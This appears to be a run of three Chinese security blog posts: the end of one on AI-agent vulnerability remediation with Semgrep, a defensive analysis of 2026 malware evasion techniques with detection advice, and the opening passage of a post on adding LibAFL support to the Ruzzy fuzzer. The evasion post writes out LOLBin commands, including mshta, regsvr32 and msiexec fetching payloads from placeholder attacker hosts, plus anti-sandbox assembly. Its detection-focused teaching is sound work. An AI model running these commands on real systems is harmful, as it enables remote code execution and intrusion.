该 PR 进入仓库正常的代码审查流程。开发者不再需要从一张安全工单和一个空白编辑器开始动手，而是直接审查一个已经内嵌了漏洞上下文的修复方案。随着编程智能体的普及本来就会产生更多 PR，工程师投入审查的时间已经多于编写代码——这一流程正好契合了他们当前的工作方式。

闭环机制

每天两次，一个工作流会检查 Semgrep 的周期性扫描是否已将该发现项标记为已修复 (即对应 PR 已合并)，随后自动关闭 Github 上对应的 Issue。仍处于开放状态的 Issue 会继续分配给一名安全工程师，由其负责跟进与修复关联的那个 PR。

人工始终掌控全局

整个工作流以标签为驱动。最初，我们完全自主地决定何时启动验证、何时生成修复方案——做法是手动在 Issue 上贴特定标签来触发工作流。随着信心增长，我们逐步自动化了更多环节。

我们的收获

• 快速原型是关键。

  我们用了不到一个季度就把这套东西搭出来，在 Github 工作流之上率先在公司内部使用终端编码智能体。目标就是快速实验、快速迭代，而 GH 工作流作为原型平台表现出色。这次实践非常成功，让我们重新认识了 "在拥有支持快速迭代的基础设施时，一个小团队能交付什么"。需要注意的是：维护工作仍然由我们自己承担。

• 工具中的 AI 功能有所帮助，但它们的失败方式是可预见的。

  我们审视过的每一项 AI 驱动功能，都需要评估它的失败模式。比如 Semgrep Assistant 在误报检测方面极为有用，但若在二次分析时盲目信任它，就会让我们高估风险。要把 AI 输出当作众多信号之一，并加上能检测偏差的反馈闭环。

• 让自动化程度与风险等级相匹配。

  对低严重性发现项进行自动分类。监控 AI 驱动的关闭操作。在向关键仓库推送修复之前保留人工审核环节。投入人工注意力的成本，应当与出错时的影响范围成正比。

• 可观测性至关重要。

  为每一项自动化决策配上 Slack 摘要、仪表盘、规则追踪和审计日志。我们在可观测性上的投入与自动化本身同等重要。

后续步骤

我们摸索出了一套适合自己的模式：对显而易见的问题激进地自动分类，仅对真正重要的事项创建工单，并由智能体在工单之上完成深度验证和修复。

我们把这视为漏洞管理项目的基础，目前正在尝试把它的应用范围扩展到代码之外，并探索智能体在有效验证和修复各类安全问题时所需的上下文量。

---

免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。

阅读原文

跳转微信打开

深入剖析 2026 年恶意软件规避检测的技术全景：从加壳与混淆、沙箱规避、就地取材（LOLBin），到分阶段载荷、行为绕过与复合攻击链，并给出现代 EDR/XDR 真正有效的检测思路与 SOC 实战建议。

编写当今恶意软件的威胁行为者并不只是变得更聪明 — 他们已经把规避检测的能力工业化了。本文将从技术层面剖析其具体形态，并解释为何这应当重塑防御者的思维方式

你未曾察觉的那次入侵

凌晨 2:47。一名值夜班的一级（Tier 1）分析师看到 EDR 告警触发 — 一台财务工作站上启动了一个 certutil.exe 进程。常规事件。分析师进行核查：没有匹配到恶意哈希，网络日志中也没有已知的恶意域名，进程参数看起来无伤大雅。他们将其作为误报关闭，继续值班。

六周之后，你聘请的事件响应公司已经驻场调查。结果发现，那次 certutil 调用是一场精心编排的入侵的第二阶段。第一阶段 — 三天前被打开的一份带宏的文档 — 早已建立了持久化并完成了环境侦察。真正的载荷始终未以可被识别的形式落盘：它通过 certutil 进行 URL 解码，从一个托管于已失陷的 Azure Blob Storage 实例上的加密 blob 反射加载至内存，并在几秒内注入到 svchost.exe 进程之中。整个沙箱分析报告呈现干净结果。签名数据库一无所获。而那位放过告警的分析师并非失职 — 他们只是在使用并非为今日恶意软件形态所设计的工具。

这并非假设。类似场景的各种变体，每月在全球企业环境中上演数百次。威胁格局已经发生根本性转变，攻击者在 2026 年所使用的技术，需要比当前多数蓝队所掌握的更深入的理解。本文正是防御工作所必需的那种技术深度剖析。

加壳 vs. 混淆：两个被混用却不该混用的术语

在讨论规避之前，我们需要厘清术语，因为把加壳和混淆混为一谈，会在实战中导致糟糕的分析判断。

加壳（Packing）

加壳是一种运行时解压或解密机制。加壳器把真正的载荷包裹在一段 stub 代码里 — 程序执行时，stub 会把原始代码解压或解密到内存中，然后将控制权转交给它。经典例子：UPX、MPRESS。其核心特征是：原始的二进制代码并不存在于磁盘上的文件中。对加壳后的文件做静态分析，看到的只有 stub。

; UPX stub behavior (simplified x86 pseudocode)
PUSHAD                        ; save registers
MOV ESI, packed_data_addr     ; source: compressed payload
MOV EDI, output_buffer        ; dest: RWX region
CALL decompress_routine       ; inflate/decrypt
POPAD                         ; restore registers
JMP OEP                       ; jump to original entry point

检测加壳通常并不困难：高熵区段（>7.0 bits/byte）、形如 UPX0 或 .text 但没有任何导入表的区段名，以及只剩 LoadLibrary 和 GetProcAddress 这种极小的导入表，都是明显的告警信号。诸如 PEID、Detect-It-Easy（DIE）和 Exeinfo PE 这样的工具，对付商业现成加壳器仍然可靠。

危险的演进在于：定制加壳器。国家级行为体和成熟的犯罪软件团伙早已不再使用 UPX。他们编写每次构建都不同的私有 stub 代码，而且常常把环境特定的密钥（主机名哈希、域 SID）烘焙进解密例程中，这样载荷就只能在目标环境中被解开。提交给你的沙箱？解密出来的全是垃圾。这种做法被称为 _keyed decryption_（基于密钥的解密），如今已成为 APT 工具链中的标准实践。

混淆（Obfuscation）

混淆则是另一回事。代码完整地在那里 — 只是被刻意做得难以阅读或难以静态分析。这包括：

• 字符串加密 — 像 "VirtualAlloc" 这样的 API 名在编译期被 XOR 编码，运行时再解密，从而击败基于字符串的 YARA 规则

• 控制流平坦化 — 基于 LLVM 的变换（如 LLVM-Obfuscator 或 Hikari），用一个分发循环替换结构化代码，使逆向工程的难度成倍增加

• 间接 API 调用 — 不再使用 CALL [VirtualAlloc]，而是通过对 PEB 模块链表进行自定义哈希遍历，在运行时解析地址

• 垃圾代码插入 — 在语义上无效的指令撑大二进制体积，并扰乱模拟器

• 不透明谓词 — 总是只走一条路径的条件分支，但静态分析器不执行代码就无法判断这一点

分析师笔记当你做 triage（初步分析）时，关键问题不是 "这是加壳还是混淆？" — 而是 "我能否拿到 OEP？" 如果熵值很高、导入表又稀薄，那就在解壳 stub 运行之后转储进程。工具方面：x64dbg 配合 Scylla用于导入表重建，pe-sieve用于自动检测被掏空的进程，mal_unpack则用于自动解开常见的 stub 模式。

实战意义在于：在新版本发布后的几小时之内，针对加壳或混淆样本的静态特征码就会衰减到接近零的命中率。一个具备自动化构建流水线的威胁行为者，每天可以生成数千个独一无二的样本，每个都拥有不同的加壳密钥、不同的混淆种子、不同的编译器选项。你的 AV 数据库根本追不上这种节奏。

沙箱规避：装死，直到灯灭

现代恶意软件非常清楚：防御者拿到可疑文件后，第一件事就是把它扔进自动化分析系统 — Cuckoo、ANY.RUN、Hybrid Analysis、Joe Sandbox。因此，威胁行为者已经把沙箱规避当成一项一等公民级别的工程问题来对待。

"如果你无法判断自己是否正被监视，就假设你正被监视 — 并据此行事。" 这就是现代规避代码隐含的设计哲学。

时间与睡眠技巧

最直白的做法：睡很久。大多数沙箱对样本的运行时长是 60-120 秒。一个执行前先睡 5 分钟以上的恶意软件，就能交出一份干净的报告。但沙箱厂商也已意识到这一点 — 许多沙箱现在会加速系统时间，或者 hook Sleep() 来缩短延迟。

更精明的回应：基于时间的校验循环。现代样本不再仅仅调用 Sleep(300000)，而是用 CPU 周期数计算一个值，然后核验预期的真实墙钟时间是否真的过去了。如果沙箱加速了时钟，周期计数就对不上，样本会悄无声息地退出。

; Time-verification loop pattern (anti-sleep acceleration)
RDTSC                         ; read timestamp counter before sleep
MOV [tsc_before], EAX
PUSH 60000
CALL Sleep                    ; sleep 60 seconds
RDTSC                         ; read TSC after
MOV [tsc_after], EAX
SUB EAX, [tsc_before]
CMP EAX, EXPECTED_CYCLES      ; if TSC delta too small = accelerated
JB  exit_clean                ; sandbox detected: exit silently

人机交互检查

沙箱不会移动鼠标、点击按钮或滚动窗口。恶意软件大力利用这一点。常见的检查包括：

• 鼠标位置增量 — 样本相隔 5 秒分别记录两次鼠标位置。如果没有移动，就假定身处沙箱

• 前台窗口状态 — 通过 GetForegroundWindow() 检查是否有任何交互式窗口处于焦点状态

• 最近文件访问时间戳 — 真实用户的机器最近会访问过 %APPDATA%、浏览器缓存或 Office 临时文件。沙箱不会

• 剪贴板内容 — 检查剪贴板是否为空（在用户频繁复制粘贴的真实工作站上很少出现这种情况）

• 最近的击键记录 — GetLastInputInfo() 返回距上次用户输入的时间；如果超过 10 分钟，就假定身处分析环境

基于 artifact（环境痕迹）的检测

每一种 hypervisor 和分析工具都会留下指纹。恶意软件已经把对这些痕迹的检测工业化了：

• 注册表键 — HKLM\SOFTWARE\VMware, Inc.、VirtualBox Guest Additions 条目、QEMU 驱动的注册表标记

• 设备名 — \\.\VMCI、\\.\VBoxMiniRdrDN、\\.\pipe\cuckoo

• MAC 地址 OUI — VMware 使用 00:0C:29，VirtualBox 使用 08:00:27。检测起来易如反掌

• CPUID leaf 0x40000000 — hypervisor 在这里宣告自身存在。VMwareVMware、KVMKVMKVM、Microsoft Hv 都极易被识别

• 进程枚举 — 检查是否存在 vboxservice.exe、vmwaretray.exe、wireshark.exe、procmon.exe、ollydbg.exe

反调试

即便分析师手动附加调试器，现代恶意软件也会反击。手段从调用 IsDebuggerPresent()（极易绕过，但商业犯罪软件中仍在使用）一直延伸到更刁钻的招式：

• NtQueryInformationProcess 配合 ProcessDebugPort — 如果有调试器在内核层面附加，则返回非零值

• 堆标志检查 — PEB 的 NtGlobalFlag 字段在调试器下会被置为 0x70；恶意软件直接从 fs:[0x30] 读取该字段

• 基于异常的反调试 — 故意触发一个结构化异常；如果自定义 SEH 处理程序没有被调用（因为被调试器拦截），就中止执行

• 线程隐藏 — 调用 NtSetInformationThread 并传入 ThreadHideFromDebugger，使线程对附加的调试器不可见

为什么自动化分析会失败根本问题在于：沙箱是无状态的、有时间限制的，且无法复制真实终端上的用户行为上下文。沙箱可以模拟一个操作系统，却无法令人信服地伪造出长达半年的用户活动、加入域的企业环境，或拥有真实邮件历史的 Outlook 实例。高级恶意软件正是通过指纹识别这些信号 的缺失来判断自身是否处于分析环境。

就地取材（Living-Off-the-Land）：当武器早已在屋里

最优雅的规避策略并不是隐藏恶意代码 — 而是干脆不带任何恶意代码进来。LOLBins（Living-Off-the-Land Binaries，就地取材二进制）是被攻击者重新利用的合法系统工具。它们由 Microsoft 签名，每一台 Windows 安装中都预期存在，并且在大多数应用控制策略中处于白名单。从检测的角度看，它们几乎是隐形的。

2026 年的核心 LOLBin 套路

• PowerShell — 仍然是主力。AMSI 绕过持续翻新，受限语言模式（constrained language mode）也可以通过较旧的 PS 版本或降级攻击来规避。基于 Invoke-ReflectivePEInjection 的反射加载，对配置不成熟的 EDR 仍然奏效

• certutil.exe — 对任意内容做 base64 解码（certutil -decode payload.b64 payload.exe），通过 -urlcache 进行缓存下载。Microsoft 签名的二进制，无处不在

• mshta.exe — 执行 HTA 文件，其中可以包含 VBScript/JScript。攻击者从自己控制的基础设施提供恶意 HTA，并通过 mshta http://attacker[.]com/payload.hta 来调用

• wscript.exe / cscript.exe — 直接执行 JavaScript 或 VBScript。配合混淆过的 JS 投放器，这条链路可以绕过大多数 AV

• regsvr32.exe（Squiblydoo） — 经典招法：regsvr32 /s /u /n /i:http://attacker.com/payload.sct scrobj.dll，从远程 URL 执行任意 COM 脚本片段。这种应用程序白名单绕过技术自 2016 年起就有公开记录，至今仍然有效

• WMI — 用于横向移动和持久化。wmic process call create 可以在没有可见父进程链的情况下创建进程。WMI 事件订阅则提供能在重启后存活的无文件持久化能力

• bitsadmin.exe / BITS — Background Intelligent Transfer Service 可以在后台静默下载文件。基于 BITS 的数据外传，其检测能力出了名地差

• msiexec.exe — 执行远程 MSI 包。配合一个托管在合法云存储上的恶意 MSI，可以绕过大多数网络出站控制

真实攻击链示例

阶段 1：钓鱼邮件附带一份 Word 文档。宏通过 WMI 执行 mshta.exe，从而避免直接形成 Office → 子进程的关系（这种关系会被多数 EDR 标记）。

阶段 2：HTA 载荷使用 certutil 解码缓存在临时目录中的、经 base64 编码的第二阶段 shellcode。

阶段 3：PowerShell（通过 WMI 间接产生，而非直接派生）将 shellcode 反射式地加载到内存。任何 PE 文件都不会落盘。

阶段 4：Shellcode 建立一个 Cobalt Strike beacon。C2 流量经由 HTTPS 发往一个被合法 CDN 域名前置（domain fronted）的目的地。

最终结果：使用了 5 个 LOLBin，磁盘上没有任何自定义可执行文件，C2 流量看起来就像普通的网页浏览。传统 AV 什么也看不到。

从 SOC 的视角看，检测的难点在于信噪比。certutil.exe 在企业环境中会用于合法的证书操作。PowerShell 每天因补丁管理、备份和系统配置而被合法运行成千上万次。给每一次调用都打上标记，在运营层面根本不可行。真正的信号在于 _上下文_：是谁拉起了它？它接收了哪些参数？随后又发起了哪些网络连接？这种上下文需要跨多种遥测源进行行为关联 — 这是单纯的特征码绝对给不了你的。

为什么静态分析在这场军备竞赛中节节败退

基于特征码的检测从根本上是被动响应式的。它要求一个样本必须先被看到、被分析、被刻画，然后才能写出特征。而在威胁行为者每日迭代的世界里，"检测 — 分析 — 出特征 — 部署" 这条时间线，恰恰就是攻击者完成利用的全部窗口期。现代攻击者不仅清楚这一点，还 _围绕这一点设计自己的架构_。

代码变形

多态（polymorphic）恶意软件在每一次感染或复制时修改自身代码，同时保留功能。变形引擎会重写指令序列、调换互不依赖的操作顺序、用等价指令进行替换（MOV EAX, 0 → XOR EAX, EAX），并改变变量名和寄存器分配。任何两个样本都不会共享相同的字节序列，因此基于原始字节匹配的特征码，对新变种的命中数为零。

变形（metamorphic）恶意软件更进一步 — 整个代码在两代之间会被重新编译或重写，而不仅仅是表层变化。逻辑行为得以保留，但实现完全不同。这种能力在 2018 年还是稀有且昂贵的；到 2026 年，随着 LLM 辅助代码生成开始向中等水平的威胁行为者开放，过去由于开发资源不足而无法染指变形能力的团伙，正越来越容易获得这种能力。

加密与分阶段投放

落到磁盘上的载荷，如今已不再是真正的恶意软件本体。落到磁盘的是一个 loader（加载器） — 一个体积小巧、往往是商业现成组件的小程序，它的唯一职责就是从远端下载并解密真正的载荷，再在内存中执行它。loader 不停变化；核心载荷可能根本不会接触磁盘。这有时被称为 stageless_（无分阶段）与 staged_（分阶段）架构之分，而大多数成熟的 RAT 与 C2 框架（Cobalt Strike、Havoc、Sliver、Brute Ratel）默认采用分阶段投递，原因正是这种方式可以击败对初始投放器的特征码分析。

转向行为检测与基于内存的检测

业界的回应是大力转向行为检测 — 通过 做了什么而非 看起来像什么来识别恶意活动。这个方向是对的，但也带来了它自己的挑战：

• 内存扫描 — 现代 EDR 会周期性地扫描进程内存，寻找被注入的 PE 头、shellcode 模式以及异常的 RWX 内存区域。攻击者用 module stomping_（模块踩踏，即在内存中覆盖一个合法已加载的 DLL）和 heap-only shellcode_（仅驻留于堆中的 shellcode）来反制，后者刻意避开扫描器所查找的可执行内存标志

• API 调用监控 — 通过 hook NTDLL 或使用内核 ETW 来追踪 API 调用（VirtualAlloc、WriteProcessMemory、CreateRemoteThread），从而识别经典的注入链。反制手段：_直接 syscall_ — 恶意软件绕过整个用户态 hook 层，直接调用 Windows 内核的系统调用，常常通过动态解析得到的 syscall 编号实现

• 进程树分析 — 标记异常的父子关系（Word → cmd → PowerShell → 网络）。反制手段：使用 WMI、计划任务或 COM 对象来创建进程，从而避免出现可疑的父进程链

这些技术在真实入侵中是如何组合起来的

上面提到的任何一种技术，都不会被孤立使用。现代恶意软件开发的真正艺术在于编排 — 把多种规避策略层层叠加，使得任何一个检测盲区都有另一种手段为其打掩护。

考虑下面这条复合攻击链，它可以代表 2026 年我们在那些以谋财为目标的成熟威胁行为者身上看到的典型手法：

复合入侵链 — 金融级（Fin-tier）威胁行为者

初始访问：HTML 走私（HTML Smuggling） — 钓鱼邮件中包含一个 HTML 附件，其中的 JavaScript 利用 blob 在客户端构造并下载一个 ZIP 文件。没有任何恶意文件经过邮件网关；它是在受害者的浏览器里被组装出来的。ZIP 中包含一个 ISO（用以绕过 Mark-of-the-Web），ISO 中又包含一个 LNK 文件，由它来触发一条 LOLBin 链。

执行与防御规避：LNK 拉起 msiexec.exe /q /i http://cdn-hosted-c2[.]com/package.msi. 该 MSI 托管在一个合法的 CDN 服务商上，并使用一份被盗或购买而来的代码签名证书签名。MSI 的内容是：一个内嵌 shellcode 的自定义加壳 DLL 加载器，它与受害机器的 SID 绑定，因而无法在任何其他环境中执行。在引爆之前，加载器会跑一整套环境检查：虚拟磁盘大小 > 80GB、内存 > 4GB、存在最近的浏览器历史、鼠标在最近 60 秒内有过移动。

载荷执行：如果所有检查都通过，加载器就会解密核心载荷 — 一个使用 LLVM 混淆过的 Malleable C2 profile 编译出的 Cobalt Strike beacon — 通过一种自定义的进程注入技术，借助 间接 syscall直接将其写入内存，从而避开 NTDLL 的 hook。Beacon 通过进程镂空（process hollowing）伪装成 services.exe 的子进程 svchost.exe。

C2：通过 443 端口的 HTTPS 通信，目的地是一个注册仅 30 天的域名，配有合法的 Let's Encrypt 证书，并由 Cloudflare 进行域名前置。Beacon 上线间隔做了抖动（±40%），与正常的浏览时间模式融合。DNS 查询使用 DoH，以绕过 DNS 监控。

请注意，这条链路上的每一层都是为了击败某一类特定的检测而设计的。HTML 走私击败邮件网关扫描；签名 MSI 击败文件信誉检查；keyed 加壳器击败沙箱分析；环境检查击败自动引爆；基于 syscall 的注入击败用户态 EDR hook；C2 域名前置击败基于网络 IOC 的匹配。这就是纵深防御 — 只不过是从攻击者的视角实现的。

防御者的工具箱：2026 年真正管用的是什么

上面描绘的图景并非要让人陷入绝望 — 而是要让你看清，对检测能力的投入应该投在哪里。直白点说，下面这些是真正有用的。

现代 EDR/XDR 的检测机制

• 通过 ETW（Event Tracing for Windows）实现的内核级遥测，可以绕过用户态 hook 规避问题。进程随便去 unhook NTDLL — 内核层的 ETW 仍然会捕获到 syscall。CrowdStrike、SentinelOne 这样的 EDR 严重依赖这一能力

• 凭据访问检测 — 围绕 LSASS 内存访问的行为模式（OpenProcess → ReadProcessMemory，目标为 lsass.exe），无论是哪种工具在做这件事，都是高度可靠的指标

• 内存异常检测 — 识别没有磁盘文件支撑的 RWX 内存区域、出现在意外位置的 PE 头，以及磁盘哈希与内存中映像不一致的已签名 DLL（这是模块踩踏的可靠迹象）

• 基于图的进程血缘分析 — 把完整的父-子-孙进程树与网络活动、文件写入和注册表修改进行关联。当你同时在六个维度上做行为关联时，前文描述的攻击链就更难隐藏

• 域名生成算法（DGA）检测与长尾 DNS 分析 — 仅有少量主机解析的 C2 域名，即便单独看起来人畜无害，也是高置信度的异常信号

不可替代的人类分析师角色

自动化检测可以可靠地拦下大宗商业级威胁。但来自有能力对手的定向入侵，不可能仅靠规则就被抓住。当一名分析师审视一张行为图，注意到 svchost.exe 正以 4 小时极其规整的间隔向一个 30 天前注册的域名发起 HTTPS 连接，并判断这值得继续追查 — 这位分析师才是没有 "绕过手法" 可用的最后一道防线。

这并不是关于人类直觉价值的空泛抒情，而是检测问题的结构性现实：足够老练的对手能够建模并规避自动化检测系统，因为这些系统是可预测的。而一位训练有素、会对自己的遥测数据提出意外问题的威胁猎手，是真正不可预测的。请把投资投到这种能力上。

面向 SOC 的实战建议围绕攻击者的技术（MITRE ATT&CK TTPs）来构建检测，而不仅仅是围绕 IOC。IOC 在数小时内就会过期；基于 TTP 的检测可以保持有效达数月。把对 LOLBin 执行链、进程注入指标和异常 LSASS 访问的可见性，放在一切之上去优先建设。对高价值目标，使用内存取证（Volatility、连续模式下的 pe-sieve）作为 EDR 的补充。并且专门设计紫队演练，去测试当前的防护栈能否抓住本文所描述的复合攻击链 — 你可能会感到意外。

接下来会发生什么

恶意软件的开发并未停下脚步。在迈入这个十年的下半程时，有三个方向值得严肃关注：

AI 辅助开发。LLM 正在降低变形代码、新型加壳器生成与自适应规避的开发门槛 — 威胁行为者迭代绕过技术的速度，已经超过防御者发布检测逻辑的速度。我们已经在犯罪软件论坛上看到这一点的早期迹象。

固件与操作系统之前的植入物。UEFI bootkit 的开发，曾经是国家级行为体的专属领域（BlackLotus、CosmicStrand），如今正在扩散开来。一个能在操作系统重装之后存活、并位于任何 EDR 触及范围之下的植入物，就是规避能力的终极形态。这一领域的检测故事还很不成熟，业界对此心知肚明。

云原生攻击路径。随着企业工作负载向云迁移，针对云元数据 API、配置错误的 IAM 角色，以及托管在云上的构建流水线的恶意软件，将越来越多地成为初始访问向量。云环境中的 LOLBin — AWS CLI、az CLI、合法的云 SDK — 正在显现出与它们 Windows 同行一样的滥用模式。

威胁格局不会等防御者跟上节奏。唯一可持续的优势是持续学习 — 不仅理解当前有哪些技术，更要理解它们 为什么奏效，这样才能在下一波东西到来之前，就推理出它将是什么样子。这要求你比新闻头条与 CVE 推送走得更深。这要求一种本文努力为之贡献的技术素养。

军备竞赛仍在继续。请确保你不是还在打去年的那场仗。

---

免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。

阅读原文

跳转微信打开

记录将 LibAFL 集成到 Ruby 模糊测试器 Ruzzy 的全过程,深入剖析 ELF 的 .preinit_array、SanitizerCoverage 初始化时序等底层细节,并给出绕过 GNU ld 限制与修正 dummy 扩展加载顺序的实用补丁。

最近 LibAFL 在模糊测试圈大放异彩,尤其是在 LLVM 的 libFuzzer 进入维护模式之后。LibAFL 由 Rust 编写,据其官方介绍具备更高的性能、更强的模块化能力、最前沿的模糊测试技术,并且兼容 libFuzzer。基于这些原因,我打算为 Ruzzy 加上 LibAFL 支持。Ruzzy 是我们为纯 Ruby 代码以及 Ruby C 扩展打造的覆盖率引导式模糊测试器。这样一来,Ruby 开发者和安全研究人员无需改动自己的模糊测试 harness 写法,就能用上更先进、维护更活跃的模糊测试引擎。

Ruzzy 最初是基于 LLVM 的 libFuzzer 构建的,所以借助 LibAFL 的兼容层应该不难才对。然而,深入复杂系统的内部时,事情往往没那么简单。在这篇文章里,我会探究这些模糊测试引擎深层的实现细节,顺道绕一圈可执行与可链接格式 ( ELF ) 文件,最终为 Ruzzy 加上 LibAFL 支持。

使用 libafl_libfuzzer 进行构建

Ruzzy 目前支持 Linux,所以无论是开发还是生产环境的模糊测试,我都依赖一个 Dockerfile。沿着这个思路,用一个类似的 Dockerfile 来集成 LibAFL 是最简单的切入点。LibAFL 提供了出色的文档和构建脚本,可以将其作为独立库使用。我们需要把 LibAFL 构建为独立库,因为 Ruzzy 将 libFuzzer 作为库使用。

按照独立 libafl_libfuzzer的文档,再配合 build.sh脚本,我们就能构建出 libFuzzer.a。这个静态库最终会被链接进 Ruzzy 的 C 扩展,用于对目标进行模糊测试。下面是新 Dockerfile 中相关的几行:

# Install Rust nightly via rustup
RUN wget -qO- https://sh.rustup.rs | sh -s -- \
    -y \
    --default-toolchain nightly \
    --component llvm-tools
ENV PATH="/root/.cargo/bin:${PATH}"# Clone LibAFL
RUN git clone --depth 1 https://github.com/AFLplusplus/LibAFL /libafl# Build libFuzzer.a from LibAFL's libfuzzer runtime
WORKDIR /libafl/crates/libafl_libfuzzer_runtime
RUN bash build.sh

图 1: 构建 LibAFL 的 libFuzzer.a ( Dockerfile.LibAFL )

整个过程顺利完成,我们得到了想要的产物 libFuzzer.a。接下来,我们需要对 Ruzzy 中确定 fuzzer_no_main库路径的机制做一点小调整。fuzzer_no_main配合 -fsanitize=fuzzer-no-link是 libFuzzer 的标准做法,用于对那些自带 main函数的代码进行模糊测试。这对解释型语言来说很合适,因为解释器自然会自带 main。

为了让 Ruzzy 具备所需的灵活性,我们只需优先采用一个用于指定 fuzzer_no_main库路径的 ENV 变量 ( 如果存在 ) ,否则就回退到 Clang 的默认设置:

FUZZER_NO_MAIN_LIB_ENV='FUZZER_NO_MAIN_LIB'
...
fuzzer_no_main_lib =ENV.fetch(FUZZER_NO_MAIN_LIB_ENV, nil)
if fuzzer_no_main_lib
LOGGER.info("Using #{FUZZER_NO_MAIN_LIB_ENV}=#{fuzzer_no_main_lib}")
unlessFile.exist?(fuzzer_no_main_lib)
LOGGER.error("#{FUZZER_NO_MAIN_LIB_ENV} file does not exist: #{fuzzer_no_main_lib}")
exit(1)
end
else
  fuzzer_no_main_libs = [
'libclang_rt.fuzzer_no_main.a',
'libclang_rt.fuzzer_no_main-aarch64.a',
'libclang_rt.fuzzer_no_main-x86_64.a'
  ]
  fuzzer_no_main_lib = fuzzer_no_main_libs.map { |lib| get_clang_file_name(lib) }.find(&:itself)
unless fuzzer_no_main_lib
LOGGER.error("Could not find fuzzer_no_main using #{CC}.")
LOGGER.error("Please include #{CC} in your path or specify #{FUZZER_NO_MAIN_LIB_ENV} ENV variable.")
exit(1)
end
end

图 2: 允许通过 ENV 变量覆盖模糊测试库 ( ext/cruzzy/extconf.rb )

现在我们用 LibAFL 的 libFuzzer.a来构建 Ruzzy:

# Copy LibAFL's libFuzzer.a from builder stage
COPY --from=libafl-builder /libafl/crates/libafl_libfuzzer_runtime/ libFuzzer.a /usr/lib/libFuzzer.a# Point Ruzzy at LibAFL's libFuzzer instead of clang's built-in
ENV FUZZER_NO_MAIN_LIB="/usr/lib/libFuzzer.a"
WORKDIR ruzzy/
COPY ..
RUN gem build
RUN RUZZY_DEBUG=1 gem install --development --verbose ruzzy-*.gem

图 3: 使用自定义 FUZZER_NO_MAIN_LIB 配合 LibAFL 构建 Ruzzy ( Dockerfile.LibAFL )

然而,这会触发以下错误:

INFO -- : Using FUZZER_NO_MAIN_LIB=/usr/lib/libFuzzer.a
DEBUG -- : Search for libclang_rt.asan.a using clang-21: success=true exists=false
DEBUG -- : Search for libclang_rt.asan-aarch64.a using clang-21: success=true exists=true
DEBUG -- : Search for libclang_rt.asan-x86_64.a using clang-21: success=true exists=false
DEBUG -- : Creating /usr/lib/llvm-21/lib/clang/21/lib/linux/libclang_rt.asan-aarch64.a sanitizer archive at /tmp/20260320-20-683d0b
DEBUG -- : Merging sanitizer at /tmp/20260320-20-683d0b with libFuzzer at /usr/lib/libFuzzer.a to asan_with_fuzzer.so
/usr/bin/ld: /usr/lib/libFuzzer.a(libFuzzer.o): .preinit_array section is not allowed in DSO
/usr/bin/ld: failed to set dynamic section sizes: nonrepresentable section on output
clang++-21: error: linker command failed with exit code 1 (use -v to see invocation)
ERROR -- : The clang++-21 shared object merging command failed.
*** extconf.rb failed ***

图 4: 链接 libFuzzer.a 失败

这里关键的报错信息是 ".preinit_arraysection is not allowed in DSO"。这对我来说是一条新错误。.preinit_array段到底是什么?这条错误想告诉我什么?相关的 ELF 文档是这么说的:

Finally, an executable file may have pre-initialization functions.These functions are executed after the dynamic linker has built the process image and performed relocations but before any shared object initialization functions. Pre-initialization functions are not permitted in shared objects.

...

The DT_PREINIT_ARRAY table is processed only in an executable file; it is ignored if contained in a shared object.

也就是说,动态共享对象 ( DSO ) 不能包含 .preinit_array段,这正是错误信息所表达的意思。.init、.ctors、.init_array和 .preinit_array都是在 ELF 二进制中、于 main启动之前运行代码的机制。深入比较它们各自的作用以及执行顺序超出了本文范围 ( 可参考这篇说明 ) ,但我们这里只需明白:必须想办法绕开 libafl_libfuzzer的这一实现细节。下面对比一下 LibAFL 与 libFuzzer 在这一点上的差异:

$ objdump -h /usr/lib/libFuzzer.a | grep 'init_array'
3100 .init_array   00000228  ...
5047 .preinit_array 00000008  ...
32136 .init_array.00099 00000008  ...
37083 .init_array.90 00000010  ...
$ objdump -h libclang_rt.fuzzer-aarch64.a | grep 'init_array'
 40 .init_array   00000008  ...
 57 .init_array   00000008  ...
$ objdump -h libclang_rt.fuzzer_no_main-aarch64.a | grep 'init_array'
 40 .init_array   00000008  ...
 57 .init_array   00000008  ...
$ objdump -h libclang_rt.fuzzer_interceptors-aarch64.a | grep 'init_array'
 21 .preinit_array 00000008  ...

图 5: LibAFL 与 libFuzzer 中的 .init_array 与 .preinit_array 对比

上图显示,LibAFL 的归档同时包含 .init_array和 .preinit_array段,而 Clang 的 libFuzzer 则把它们拆分到了不同的文件中。由于 LibAFL 使用了与 Clang 相同的拦截器代码,它也定义了同样的 .preinit_array。问题是,LibAFL 虽然提供了 libfuzzer_no_link_main和 libfuzzer_interceptors这两个 feature,但我们没法在构建时方便地切换它们。

这就给我们留下了两条路:正经的解决方案是向上游提交修改,允许这些 feature 在构建时切换;另一条是 hack 式的、把事情先跑通的方案。我想尽快推进,把整个流程跑通,所以先选了 hack 路线。这里有个小技巧可用:GNU ld会强制执行 ".preinit_array 不允许出现在 DSO 中" 的约束,而 LLVM ld不会。因此我们可以修改 Ruzzy 的构建流程,允许在构建时传入用户指定的 ld路径:

diff --git a/Dockerfile.LibAFL b/Dockerfile.LibAFL
index 5d0f9516..df6be2e2 100644
--- a/Dockerfile.LibAFL
+++ b/Dockerfile.LibAFL
@@ -54,9 +54,12 @@ RUN echo "deb http://apt.llvm.org/bookworm/ llvm-toolchain-bookworm-$LLVM_VERSION
    && echo "deb-src http://apt.llvm.org/bookworm/ llvm-toolchain-bookworm-$LLVM_VERSION main" >> /etc/apt/sources.list.d/ llvm.list \
    && wget -qO- https://apt.llvm.org/llvm-snapshot.gpg.key > /etc/apt/trusted.gpg.d/apt.llvm.org.asc+# Install lld alongside clang. LibAFL's libFuzzer.a contains a .preinit_array+# .preinit_array section that the GNU linker rejects in shared objects.+# lld handles this correctly.
 RUN apt update && apt install -y \
    build-essential \
    clang-$LLVM_VERSION \+   lld-$LLVM_VERSION \
    && rm -rf /var/lib/apt/lists/*
 ENV APP_DIR="/app"
@@ -69,6 +72,10 @@ ENV LDSHARED="clang-$LLVM_VERSION -shared"
 ENV LDSHAREDXX="clang++-$LLVM_VERSION -shared"
